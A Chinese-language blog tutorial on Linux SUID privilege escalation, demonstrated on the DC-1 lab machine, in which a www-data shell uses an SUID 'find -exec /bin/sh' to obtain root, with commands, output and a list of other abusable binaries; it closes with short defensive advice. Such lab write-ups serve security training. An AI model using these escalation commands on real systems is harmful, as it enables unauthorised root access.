当前位置:首页>Linux>Linux本地提权经典手法:SUID提权,从原理到实战全剖析

Linux本地提权经典手法:SUID提权,从原理到实战全剖析

  • 2026-09-09 05:50:25
Linux本地提权经典手法:SUID提权,从原理到实战全剖析

SUID权限概念

SUID提权是Linux中的一种特殊权限 当一个文件被设置了SUID位 执行该文件的用户回暂时获得所有者的权限 而不是自身权限 通常root的UID为0 因此执行root拥有的SUID文件时 普通用户可临时获得root权限

按我的理解就是 临时借用权限

SUID提权方式

SUID提权的核心是利用系统中被赋予S权限的二进制文件执行命令 从而获取高权限shell 例如

  • 利用find命令执行任何命令

  • 使用带SUID权限的编辑器如vim less打开shell

  • 利用网络攻击如旧版本Nmap交互模式执行命令

常见可利用的SUID文件

  • find 可执行命令

  • vim less 可打开shell 或读取文件

  • nmap 旧版本可通过交互式执行shell

  • awk python等解释器执行命令或脚本

查找系统SUID文件

find / -perm -40002>/dev/nullfind / -perm -u=s 2>dev/null

靶机复现

使用 DC-1 靶机进行复现、

www-data@DC-1:/var/www$ ididuid=33(www-data) gid=33(www-data) groups=33(www-data)

可以看到当前是低权限用户 查找系统SUID文件提权

find / -perm -u=s 2>/dev/null/bin/mount/bin/ping/bin/su/bin/ping6/bin/umount/usr/bin/at/usr/bin/chsh/usr/bin/passwd/usr/bin/newgrp/usr/bin/chfn/usr/bin/gpasswd/usr/bin/procmail/usr/bin/find //find 具有S权限/usr/sbin/exim4/usr/lib/pt_chown/usr/lib/openssh/ssh-keysign/usr/lib/eject/dmcrypt-get-device/usr/lib/dbus-1.0/dbus-daemon-launch-helper/sbin/mount.nfswww-data@DC-1:/var/www$ 
www-data@DC-1:/var/www$ ls -al /usr/bin/findls -al /usr/bin/find-rwsr-xr-x 1 root root 162424 Jan  6  2012 /usr/bin/find

find 命令具有S权限 使用 find进行提权

www-data@DC-1:/var/www$ find /etc/passwd -exec /bin/sh \;             find /etc/passwd -exec /bin/sh  \;# ididuid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)# whoamiwhoamiroot

也可以执行单条命令 不进入交互shell

www-data@DC-1:/var/www$ find /etc/passwd -exec whoami \;find /etc/passwd -exec whoami \;root

防御与检测

  • 严格审查并清理不必要的SUID文件

  • 通过审计SUID异常执行来主动发现威胁

最新文章

随机文章